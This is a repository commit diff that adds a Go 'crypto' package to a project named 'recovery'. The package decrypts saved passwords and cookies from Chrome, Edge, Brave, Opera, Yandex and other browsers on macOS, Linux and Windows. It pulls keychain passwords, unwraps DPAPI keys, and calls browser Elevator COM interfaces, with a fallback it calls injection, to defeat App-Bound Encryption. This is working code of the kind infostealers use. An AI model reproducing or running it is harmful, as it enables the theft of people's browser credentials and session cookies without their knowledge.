initial commit
This commit is contained in:
@@ -0,0 +1,31 @@
|
||||
package crypto
|
||||
|
||||
import "strings"
|
||||
|
||||
func CleanPassword(data []byte) string {
|
||||
s := string(data)
|
||||
allPrint := true
|
||||
for _, c := range s {
|
||||
if c < 32 && c != '\t' && c != '\n' && c != '\r' {
|
||||
allPrint = false
|
||||
break
|
||||
}
|
||||
}
|
||||
if allPrint {
|
||||
return strings.TrimSpace(s)
|
||||
}
|
||||
if len(data) > 32 {
|
||||
s2 := string(data[32:])
|
||||
allPrint2 := true
|
||||
for _, c := range s2 {
|
||||
if c < 32 && c != '\t' && c != '\n' && c != '\r' {
|
||||
allPrint2 = false
|
||||
break
|
||||
}
|
||||
}
|
||||
if allPrint2 {
|
||||
return strings.TrimSpace(s2)
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
@@ -0,0 +1,163 @@
|
||||
//go:build darwin
|
||||
|
||||
package crypto
|
||||
|
||||
import (
|
||||
"crypto/aes"
|
||||
"crypto/cipher"
|
||||
"crypto/sha1"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"os"
|
||||
"os/exec"
|
||||
"strings"
|
||||
|
||||
"recovery/recovery/browser"
|
||||
"recovery/recovery/types"
|
||||
|
||||
"golang.org/x/crypto/pbkdf2"
|
||||
)
|
||||
|
||||
const (
|
||||
darwinChromeSalt = "saltysalt"
|
||||
darwinChromeIterations = 1003
|
||||
darwinChromeKeyLen = 16
|
||||
)
|
||||
|
||||
var chromeKeychainServices = map[string]string{
|
||||
"Chrome": "Chrome Safe Storage",
|
||||
"Chrome Beta": "Chrome Safe Storage",
|
||||
"Chrome Canary": "Chrome Safe Storage",
|
||||
"Chromium": "Chromium Safe Storage",
|
||||
"Edge": "Microsoft Edge Safe Storage",
|
||||
"Brave": "Brave Safe Storage",
|
||||
"Vivaldi": "Vivaldi Safe Storage",
|
||||
"Opera": "Opera Safe Storage",
|
||||
"Opera GX": "Opera Safe Storage",
|
||||
"Arc": "Arc Safe Storage",
|
||||
"Yandex": "Yandex Safe Storage",
|
||||
}
|
||||
|
||||
func getKeychainPassword(browserName string) (string, error) {
|
||||
service, ok := chromeKeychainServices[browserName]
|
||||
if !ok {
|
||||
service = browserName + " Safe Storage"
|
||||
}
|
||||
|
||||
cmd := exec.Command("security", "find-generic-password", "-wa", service)
|
||||
out, err := cmd.Output()
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("keychain lookup failed for %s: %w", service, err)
|
||||
}
|
||||
return strings.TrimSpace(string(out)), nil
|
||||
}
|
||||
|
||||
func ResolveKeys(cfg types.BrowserConfig) (*types.ResolvedKeys, error) {
|
||||
if cfg.IsFirefox {
|
||||
return &types.ResolvedKeys{}, nil
|
||||
}
|
||||
|
||||
localStatePath := browser.LocalStatePath(cfg)
|
||||
if _, err := os.Stat(localStatePath); err != nil {
|
||||
// fuck it we still trying
|
||||
return resolveKeyFromKeychain(cfg)
|
||||
}
|
||||
|
||||
data, err := os.ReadFile(localStatePath)
|
||||
if err != nil {
|
||||
return resolveKeyFromKeychain(cfg)
|
||||
}
|
||||
|
||||
var localState map[string]interface{}
|
||||
if err := json.Unmarshal(data, &localState); err != nil {
|
||||
return resolveKeyFromKeychain(cfg)
|
||||
}
|
||||
|
||||
return resolveKeyFromKeychain(cfg)
|
||||
}
|
||||
|
||||
func resolveKeyFromKeychain(cfg types.BrowserConfig) (*types.ResolvedKeys, error) {
|
||||
password, err := getKeychainPassword(cfg.Name)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("could not get keychain password for %s: %w", cfg.Name, err)
|
||||
}
|
||||
|
||||
key := pbkdf2.Key([]byte(password), []byte(darwinChromeSalt), darwinChromeIterations, darwinChromeKeyLen, sha1.New)
|
||||
return &types.ResolvedKeys{V10: key}, nil
|
||||
}
|
||||
|
||||
func DecryptChromiumBlob(encrypted []byte, v10Key, v20Key []byte) string {
|
||||
if len(encrypted) == 0 {
|
||||
return ""
|
||||
}
|
||||
|
||||
if len(encrypted) < 3 {
|
||||
return ""
|
||||
}
|
||||
prefix := string(encrypted[:3])
|
||||
if prefix != "v10" && prefix != "v11" {
|
||||
return ""
|
||||
}
|
||||
|
||||
key := v10Key
|
||||
if key == nil || len(key) == 0 {
|
||||
return ""
|
||||
}
|
||||
|
||||
ciphertext := encrypted[3:]
|
||||
if len(ciphertext) == 0 || len(ciphertext)%aes.BlockSize != 0 {
|
||||
return ""
|
||||
}
|
||||
|
||||
plaintext, err := aesCBCDecrypt(key, ciphertext)
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
return CleanPassword(plaintext)
|
||||
}
|
||||
|
||||
func aesCBCDecrypt(key, ciphertext []byte) ([]byte, error) {
|
||||
block, err := aes.NewCipher(key)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
iv := make([]byte, aes.BlockSize)
|
||||
for i := range iv {
|
||||
iv[i] = 0x20
|
||||
}
|
||||
|
||||
if len(ciphertext) < aes.BlockSize {
|
||||
return nil, fmt.Errorf("ciphertext too short")
|
||||
}
|
||||
|
||||
mode := cipher.NewCBCDecrypter(block, iv)
|
||||
plaintext := make([]byte, len(ciphertext))
|
||||
mode.CryptBlocks(plaintext, ciphertext)
|
||||
|
||||
plaintext = pkcs5Unpad(plaintext)
|
||||
if plaintext == nil {
|
||||
return nil, fmt.Errorf("invalid padding")
|
||||
}
|
||||
return plaintext, nil
|
||||
}
|
||||
|
||||
func pkcs5Unpad(data []byte) []byte {
|
||||
if len(data) == 0 {
|
||||
return nil
|
||||
}
|
||||
padLen := int(data[len(data)-1])
|
||||
if padLen == 0 || padLen > aes.BlockSize || padLen > len(data) {
|
||||
return nil
|
||||
}
|
||||
for i := len(data) - padLen; i < len(data); i++ {
|
||||
if data[i] != byte(padLen) {
|
||||
return nil
|
||||
}
|
||||
}
|
||||
return data[:len(data)-padLen]
|
||||
}
|
||||
|
||||
func CryptUnprotectData(in []byte) ([]byte, error) {
|
||||
return nil, fmt.Errorf("DPAPI not available on macOS")
|
||||
}
|
||||
@@ -0,0 +1,128 @@
|
||||
//go:build linux
|
||||
|
||||
package crypto
|
||||
|
||||
import (
|
||||
"crypto/aes"
|
||||
"crypto/cipher"
|
||||
"crypto/sha1"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"os"
|
||||
|
||||
"recovery/recovery/browser"
|
||||
"recovery/recovery/types"
|
||||
|
||||
"golang.org/x/crypto/pbkdf2"
|
||||
)
|
||||
|
||||
const (
|
||||
linuxChromePassword = "peanuts"
|
||||
linuxChromeSalt = "saltysalt"
|
||||
linuxChromeIterations = 1
|
||||
linuxChromeKeyLen = 16
|
||||
)
|
||||
|
||||
func ResolveKeys(cfg types.BrowserConfig) (*types.ResolvedKeys, error) {
|
||||
if cfg.IsFirefox {
|
||||
return &types.ResolvedKeys{}, nil
|
||||
}
|
||||
|
||||
localStatePath := browser.LocalStatePath(cfg)
|
||||
if _, err := os.Stat(localStatePath); err != nil {
|
||||
key := pbkdf2.Key([]byte(linuxChromePassword), []byte(linuxChromeSalt), linuxChromeIterations, linuxChromeKeyLen, sha1.New)
|
||||
return &types.ResolvedKeys{V10: key}, nil
|
||||
}
|
||||
|
||||
data, err := os.ReadFile(localStatePath)
|
||||
if err != nil {
|
||||
key := pbkdf2.Key([]byte(linuxChromePassword), []byte(linuxChromeSalt), linuxChromeIterations, linuxChromeKeyLen, sha1.New)
|
||||
return &types.ResolvedKeys{V10: key}, nil
|
||||
}
|
||||
|
||||
var localState map[string]interface{}
|
||||
if err := json.Unmarshal(data, &localState); err != nil {
|
||||
key := pbkdf2.Key([]byte(linuxChromePassword), []byte(linuxChromeSalt), linuxChromeIterations, linuxChromeKeyLen, sha1.New)
|
||||
return &types.ResolvedKeys{V10: key}, nil
|
||||
}
|
||||
|
||||
key := pbkdf2.Key([]byte(linuxChromePassword), []byte(linuxChromeSalt), linuxChromeIterations, linuxChromeKeyLen, sha1.New)
|
||||
return &types.ResolvedKeys{V10: key}, nil
|
||||
}
|
||||
|
||||
func DecryptChromiumBlob(encrypted []byte, v10Key, v20Key []byte) string {
|
||||
if len(encrypted) == 0 {
|
||||
return ""
|
||||
}
|
||||
|
||||
if len(encrypted) < 3 {
|
||||
return ""
|
||||
}
|
||||
prefix := string(encrypted[:3])
|
||||
if prefix != "v10" && prefix != "v11" {
|
||||
return ""
|
||||
}
|
||||
|
||||
key := v10Key
|
||||
if key == nil || len(key) == 0 {
|
||||
return ""
|
||||
}
|
||||
|
||||
ciphertext := encrypted[3:]
|
||||
if len(ciphertext) == 0 || len(ciphertext)%aes.BlockSize != 0 {
|
||||
return ""
|
||||
}
|
||||
|
||||
plaintext, err := aesCBCDecrypt(key, ciphertext)
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
return CleanPassword(plaintext)
|
||||
}
|
||||
|
||||
func aesCBCDecrypt(key, ciphertext []byte) ([]byte, error) {
|
||||
block, err := aes.NewCipher(key)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
iv := make([]byte, aes.BlockSize)
|
||||
for i := range iv {
|
||||
iv[i] = 0x20
|
||||
}
|
||||
|
||||
if len(ciphertext) < aes.BlockSize {
|
||||
return nil, fmt.Errorf("ciphertext too short")
|
||||
}
|
||||
|
||||
mode := cipher.NewCBCDecrypter(block, iv)
|
||||
plaintext := make([]byte, len(ciphertext))
|
||||
mode.CryptBlocks(plaintext, ciphertext)
|
||||
|
||||
// PKCS5/PKCS7 unpad
|
||||
plaintext = pkcs5Unpad(plaintext)
|
||||
if plaintext == nil {
|
||||
return nil, fmt.Errorf("invalid padding")
|
||||
}
|
||||
return plaintext, nil
|
||||
}
|
||||
|
||||
func pkcs5Unpad(data []byte) []byte {
|
||||
if len(data) == 0 {
|
||||
return nil
|
||||
}
|
||||
padLen := int(data[len(data)-1])
|
||||
if padLen == 0 || padLen > aes.BlockSize || padLen > len(data) {
|
||||
return nil
|
||||
}
|
||||
for i := len(data) - padLen; i < len(data); i++ {
|
||||
if data[i] != byte(padLen) {
|
||||
return nil
|
||||
}
|
||||
}
|
||||
return data[:len(data)-padLen]
|
||||
}
|
||||
|
||||
func CryptUnprotectData(in []byte) ([]byte, error) {
|
||||
return nil, fmt.Errorf("DPAPI not available on Linux")
|
||||
}
|
||||
@@ -0,0 +1,372 @@
|
||||
//go:build windows
|
||||
|
||||
package crypto
|
||||
|
||||
import (
|
||||
"crypto/aes"
|
||||
"crypto/cipher"
|
||||
"encoding/base64"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"os"
|
||||
"syscall"
|
||||
"unsafe"
|
||||
|
||||
"recovery/recovery/browser"
|
||||
"recovery/recovery/platform"
|
||||
"recovery/recovery/types"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
var (
|
||||
modCrypt32 = windows.NewLazySystemDLL("crypt32.dll")
|
||||
procCryptUnprotectData = modCrypt32.NewProc("CryptUnprotectData")
|
||||
)
|
||||
|
||||
type dataBlob struct {
|
||||
cbData uint32
|
||||
pbData *byte
|
||||
}
|
||||
|
||||
func CryptUnprotectData(in []byte) ([]byte, error) {
|
||||
var inBlob, outBlob dataBlob
|
||||
inBlob.cbData = uint32(len(in))
|
||||
if len(in) > 0 {
|
||||
inBlob.pbData = &in[0]
|
||||
}
|
||||
|
||||
r, _, err := procCryptUnprotectData.Call(
|
||||
uintptr(unsafe.Pointer(&inBlob)),
|
||||
0, 0, 0, 0, 0,
|
||||
uintptr(unsafe.Pointer(&outBlob)),
|
||||
)
|
||||
if r == 0 {
|
||||
return nil, fmt.Errorf("CryptUnprotectData: %w", err)
|
||||
}
|
||||
defer windows.LocalFree(windows.Handle(uintptr(unsafe.Pointer(outBlob.pbData))))
|
||||
|
||||
out := make([]byte, outBlob.cbData)
|
||||
for i := range out {
|
||||
out[i] = *(*byte)(unsafe.Pointer(uintptr(unsafe.Pointer(outBlob.pbData)) + uintptr(i)))
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
|
||||
var (
|
||||
clsidChromeElevator = windows.GUID{
|
||||
Data1: 0x708860E0, Data2: 0xF641, Data3: 0x4611,
|
||||
Data4: [8]byte{0x88, 0x95, 0x7D, 0x86, 0x7D, 0xD3, 0x67, 0x5B},
|
||||
}
|
||||
iidChromeElevatorV2 = windows.GUID{
|
||||
Data1: 0x1BF5208B, Data2: 0x295F, Data3: 0x4992,
|
||||
Data4: [8]byte{0xB5, 0xF4, 0x3A, 0x9B, 0xB6, 0x49, 0x48, 0x38},
|
||||
}
|
||||
iidChromeElevatorV1 = windows.GUID{
|
||||
Data1: 0x463ABECF, Data2: 0x410D, Data3: 0x407F,
|
||||
Data4: [8]byte{0x8A, 0xF5, 0x0D, 0xF3, 0x5A, 0x00, 0x5C, 0xC8},
|
||||
}
|
||||
clsidEdgeElevator = windows.GUID{
|
||||
Data1: 0x1FCBE96C, Data2: 0x1697, Data3: 0x43AF,
|
||||
Data4: [8]byte{0x91, 0x40, 0x28, 0x97, 0xC7, 0xC6, 0x97, 0x67},
|
||||
}
|
||||
iidEdgeElevator = windows.GUID{
|
||||
Data1: 0xC9C2B807, Data2: 0x7731, Data3: 0x4F34,
|
||||
Data4: [8]byte{0x81, 0xB7, 0x44, 0xFF, 0x77, 0x79, 0x52, 0x2B},
|
||||
}
|
||||
clsidBraveElevator = windows.GUID{
|
||||
Data1: 0x576B31AF, Data2: 0x6369, Data3: 0x4B6B,
|
||||
Data4: [8]byte{0x85, 0x60, 0xE4, 0xB2, 0x03, 0xA9, 0x7A, 0x8B},
|
||||
}
|
||||
iidBraveElevatorV2 = windows.GUID{
|
||||
Data1: 0x1BF5208B, Data2: 0x295F, Data3: 0x4992,
|
||||
Data4: [8]byte{0xB5, 0xF4, 0x3A, 0x9B, 0xB6, 0x49, 0x48, 0x38},
|
||||
}
|
||||
iidBraveElevatorV1 = windows.GUID{
|
||||
Data1: 0xF396861E, Data2: 0x0C8E, Data3: 0x4C71,
|
||||
Data4: [8]byte{0x82, 0x56, 0x2F, 0xAE, 0x6D, 0x75, 0x9C, 0xE9},
|
||||
}
|
||||
)
|
||||
|
||||
func safeV20KeyViaCOM(cfg types.BrowserConfig, encBlob []byte) (key []byte, err error) {
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
err = fmt.Errorf("COM panic: %v", r)
|
||||
}
|
||||
}()
|
||||
return tryV20KeyViaCOM(cfg, encBlob)
|
||||
}
|
||||
|
||||
func tryV20KeyViaCOM(cfg types.BrowserConfig, encBlob []byte) ([]byte, error) {
|
||||
hr := coInitializeEx()
|
||||
if hr != 0 {
|
||||
return nil, fmt.Errorf("CoInitializeEx: 0x%08x", hr)
|
||||
}
|
||||
defer coUninitialize()
|
||||
|
||||
clsid := clsidChromeElevator
|
||||
iid := iidChromeElevatorV2
|
||||
if cfg.Name == "Edge" {
|
||||
clsid = clsidEdgeElevator
|
||||
iid = iidEdgeElevator
|
||||
} else if cfg.Name == "Brave" {
|
||||
clsid = clsidBraveElevator
|
||||
iid = iidBraveElevatorV2
|
||||
}
|
||||
|
||||
var unknown *IUnknown
|
||||
hr = coCreateInstance(&clsid, nil, 4, &iid, (*unsafe.Pointer)(unsafe.Pointer(&unknown)))
|
||||
if hr != 0 && cfg.Name == "Chrome" {
|
||||
hr = coCreateInstance(&clsid, nil, 4, &iidChromeElevatorV1, (*unsafe.Pointer)(unsafe.Pointer(&unknown)))
|
||||
}
|
||||
if hr != 0 && cfg.Name == "Brave" {
|
||||
hr = coCreateInstance(&clsid, nil, 4, &iidBraveElevatorV1, (*unsafe.Pointer)(unsafe.Pointer(&unknown)))
|
||||
}
|
||||
if hr != 0 {
|
||||
return nil, fmt.Errorf("CoCreateInstance: 0x%08x", hr)
|
||||
}
|
||||
defer unknown.Release()
|
||||
|
||||
hr = coSetProxyBlanket(unknown)
|
||||
if hr != 0 {
|
||||
logf("CoSetProxyBlanket warning: 0x%08x", hr)
|
||||
}
|
||||
|
||||
bstrCipher := sysAllocStringByteLen(encBlob)
|
||||
if bstrCipher == nil {
|
||||
return nil, fmt.Errorf("SysAllocStringByteLen failed")
|
||||
}
|
||||
defer sysFreeString(bstrCipher)
|
||||
|
||||
var bstrPlain *uint16
|
||||
var lastErr uint32
|
||||
hr = callDecryptData(unknown, bstrCipher, &bstrPlain, &lastErr)
|
||||
if hr != 0 || bstrPlain == nil {
|
||||
return nil, fmt.Errorf("DecryptData: 0x%08x (lastError=%d)", hr, lastErr)
|
||||
}
|
||||
defer sysFreeString(bstrPlain)
|
||||
|
||||
keyLen := sysStringByteLen(bstrPlain)
|
||||
if keyLen < 32 {
|
||||
return nil, fmt.Errorf("decrypted key too short: %d bytes", keyLen)
|
||||
}
|
||||
|
||||
result := make([]byte, 32)
|
||||
for i := 0; i < 32; i++ {
|
||||
result[i] = *(*byte)(unsafe.Pointer(uintptr(unsafe.Pointer(bstrPlain)) + uintptr(i)))
|
||||
}
|
||||
return result, nil
|
||||
}
|
||||
|
||||
func coInitializeEx() uint32 {
|
||||
r, _, _ := windows.NewLazySystemDLL("ole32.dll").NewProc("CoInitializeEx").Call(0, 2)
|
||||
return uint32(r)
|
||||
}
|
||||
|
||||
func coUninitialize() {
|
||||
windows.NewLazySystemDLL("ole32.dll").NewProc("CoUninitialize").Call()
|
||||
}
|
||||
|
||||
func coCreateInstance(clsid *windows.GUID, unknown *IUnknown, clsCtx uint32, iid *windows.GUID, ppv *unsafe.Pointer) uint32 {
|
||||
r, _, _ := windows.NewLazySystemDLL("ole32.dll").NewProc("CoCreateInstance").Call(
|
||||
uintptr(unsafe.Pointer(clsid)),
|
||||
uintptr(unsafe.Pointer(unknown)),
|
||||
uintptr(clsCtx),
|
||||
uintptr(unsafe.Pointer(iid)),
|
||||
uintptr(unsafe.Pointer(ppv)),
|
||||
)
|
||||
return uint32(r)
|
||||
}
|
||||
|
||||
func coSetProxyBlanket(unknown *IUnknown) uint32 {
|
||||
r, _, _ := windows.NewLazySystemDLL("ole32.dll").NewProc("CoSetProxyBlanket").Call(
|
||||
uintptr(unsafe.Pointer(unknown)),
|
||||
0xFFFFFFFF, 0xFFFFFFFF, 0,
|
||||
6, 4, 0, 0x400,
|
||||
)
|
||||
return uint32(r)
|
||||
}
|
||||
|
||||
func sysAllocStringByteLen(b []byte) *uint16 {
|
||||
if len(b) == 0 {
|
||||
return nil
|
||||
}
|
||||
r, _, _ := windows.NewLazySystemDLL("oleaut32.dll").NewProc("SysAllocStringByteLen").Call(
|
||||
uintptr(unsafe.Pointer(&b[0])),
|
||||
uintptr(len(b)),
|
||||
)
|
||||
return (*uint16)(unsafe.Pointer(r))
|
||||
}
|
||||
|
||||
func sysFreeString(s *uint16) {
|
||||
if s != nil {
|
||||
windows.NewLazySystemDLL("oleaut32.dll").NewProc("SysFreeString").Call(uintptr(unsafe.Pointer(s)))
|
||||
}
|
||||
}
|
||||
|
||||
func sysStringByteLen(s *uint16) int {
|
||||
r, _, _ := windows.NewLazySystemDLL("oleaut32.dll").NewProc("SysStringByteLen").Call(uintptr(unsafe.Pointer(s)))
|
||||
return int(r)
|
||||
}
|
||||
|
||||
type IUnknown struct {
|
||||
vtbl *iUnknownVtbl
|
||||
}
|
||||
|
||||
type iUnknownVtbl struct {
|
||||
QueryInterface uintptr
|
||||
AddRef uintptr
|
||||
Release uintptr
|
||||
}
|
||||
|
||||
func (u *IUnknown) Release() {
|
||||
syscall.SyscallN(u.vtbl.Release, uintptr(unsafe.Pointer(u)))
|
||||
}
|
||||
|
||||
func callDecryptData(unknown *IUnknown, bstrCipher *uint16, pbstrPlain **uint16, pLastError *uint32) uint32 {
|
||||
type elevatorVtbl struct {
|
||||
QueryInterface uintptr
|
||||
AddRef uintptr
|
||||
Release uintptr
|
||||
RunRecoveryCRXElevated uintptr
|
||||
EncryptData uintptr
|
||||
DecryptData uintptr
|
||||
}
|
||||
vtbl := (*elevatorVtbl)(unsafe.Pointer(unknown.vtbl))
|
||||
r, _, _ := syscall.SyscallN(vtbl.DecryptData,
|
||||
uintptr(unsafe.Pointer(unknown)),
|
||||
uintptr(unsafe.Pointer(bstrCipher)),
|
||||
uintptr(unsafe.Pointer(pbstrPlain)),
|
||||
uintptr(unsafe.Pointer(pLastError)),
|
||||
)
|
||||
return uint32(r)
|
||||
}
|
||||
|
||||
func ResolveKeys(cfg types.BrowserConfig) (*types.ResolvedKeys, error) {
|
||||
if cfg.IsFirefox {
|
||||
return &types.ResolvedKeys{}, nil
|
||||
}
|
||||
|
||||
keys := &types.ResolvedKeys{}
|
||||
localStatePath := browser.LocalStatePath(cfg)
|
||||
|
||||
data, err := os.ReadFile(localStatePath)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("read Local State: %w", err)
|
||||
}
|
||||
|
||||
var localState map[string]interface{}
|
||||
if err := json.Unmarshal(data, &localState); err != nil {
|
||||
return nil, fmt.Errorf("parse Local State: %w", err)
|
||||
}
|
||||
|
||||
osCrypt, _ := localState["os_crypt"].(map[string]interface{})
|
||||
if osCrypt == nil {
|
||||
return nil, fmt.Errorf("no os_crypt section in Local State")
|
||||
}
|
||||
|
||||
if encKey, ok := osCrypt["encrypted_key"].(string); ok && encKey != "" {
|
||||
decoded, err := base64.StdEncoding.DecodeString(encKey)
|
||||
if err == nil && len(decoded) > 5 && string(decoded[:5]) == "DPAPI" {
|
||||
v10Key, err := CryptUnprotectData(decoded[5:])
|
||||
if err == nil {
|
||||
keys.V10 = v10Key
|
||||
logf("resolved V10 (DPAPI) key, %d bytes", len(v10Key))
|
||||
} else {
|
||||
logf("V10 DPAPI failed: %v", err)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if appBoundKey, ok := osCrypt["app_bound_encrypted_key"].(string); ok && appBoundKey != "" {
|
||||
decoded, err := base64.StdEncoding.DecodeString(appBoundKey)
|
||||
if err == nil && len(decoded) > 4 {
|
||||
encBlob := decoded[4:]
|
||||
|
||||
var v20Key []byte
|
||||
if platform.ActivePipeSession == nil {
|
||||
err = fmt.Errorf("no active pipe session")
|
||||
} else {
|
||||
encB64 := base64.StdEncoding.EncodeToString(encBlob)
|
||||
v20Key, err = platform.ActivePipeSession.GetV20Key(cfg.Name, encB64)
|
||||
}
|
||||
if err != nil {
|
||||
if platform.ActivePipeSession == nil {
|
||||
if cfg.Name != "Chrome" {
|
||||
logf("V20 via pipe failed (%s): %v, falling back to direct COM", cfg.Name, err)
|
||||
v20Key, err = safeV20KeyViaCOM(cfg, encBlob)
|
||||
} else {
|
||||
logf("V20 via pipe failed (Chrome): %v — COM unsafe without browser session, skipping", err)
|
||||
err = fmt.Errorf("Chrome V20 requires browser session")
|
||||
}
|
||||
} else {
|
||||
logf("V20 via pipe failed (%s): %v, trying browser-specific injection", cfg.Name, err)
|
||||
v20Key, err = platform.TryV20KeyViaBrowserSession(cfg.ProcessName, cfg.Name, encBlob)
|
||||
if err != nil {
|
||||
logf("browser-specific injection for V20 also failed (%s): %v", cfg.Name, err)
|
||||
}
|
||||
}
|
||||
}
|
||||
if err == nil {
|
||||
keys.V20 = v20Key
|
||||
logf("resolved V20 (App-Bound) key for %s, %d bytes", cfg.Name, len(v20Key))
|
||||
} else {
|
||||
logf("V20 key unavailable for %s: %v", cfg.Name, err)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if keys.V10 == nil && keys.V20 == nil {
|
||||
return nil, fmt.Errorf("could not resolve any master key")
|
||||
}
|
||||
|
||||
return keys, nil
|
||||
}
|
||||
|
||||
func DecryptChromiumBlob(encrypted []byte, v10Key, v20Key []byte) string {
|
||||
if len(encrypted) == 0 {
|
||||
return ""
|
||||
}
|
||||
|
||||
var key []byte
|
||||
if len(encrypted) >= 3 {
|
||||
switch string(encrypted[:3]) {
|
||||
case "v10", "v11":
|
||||
key = v10Key
|
||||
case "v20":
|
||||
key = v20Key
|
||||
}
|
||||
}
|
||||
|
||||
if key == nil || len(key) == 0 {
|
||||
return ""
|
||||
}
|
||||
if len(encrypted) < 3+12+16 {
|
||||
return ""
|
||||
}
|
||||
|
||||
nonce := encrypted[3:15]
|
||||
tag := encrypted[len(encrypted)-16:]
|
||||
ciphertext := encrypted[15 : len(encrypted)-16]
|
||||
|
||||
plaintext, err := aesGCMDecrypt(key, nonce, ciphertext, tag)
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
return CleanPassword(plaintext)
|
||||
}
|
||||
|
||||
func aesGCMDecrypt(key, nonce, ciphertext, tag []byte) ([]byte, error) {
|
||||
block, err := aes.NewCipher(key)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
aesGCM, err := cipher.NewGCM(block)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
ctWithTag := make([]byte, len(ciphertext)+len(tag))
|
||||
copy(ctWithTag, ciphertext)
|
||||
copy(ctWithTag[len(ciphertext):], tag)
|
||||
return aesGCM.Open(nil, nonce, ctWithTag, nil)
|
||||
}
|
||||
@@ -0,0 +1,7 @@
|
||||
package crypto
|
||||
|
||||
import "log"
|
||||
|
||||
func logf(format string, args ...interface{}) {
|
||||
log.Printf("[crypto] "+format, args...)
|
||||
}
|
||||
Reference in New Issue
Block a user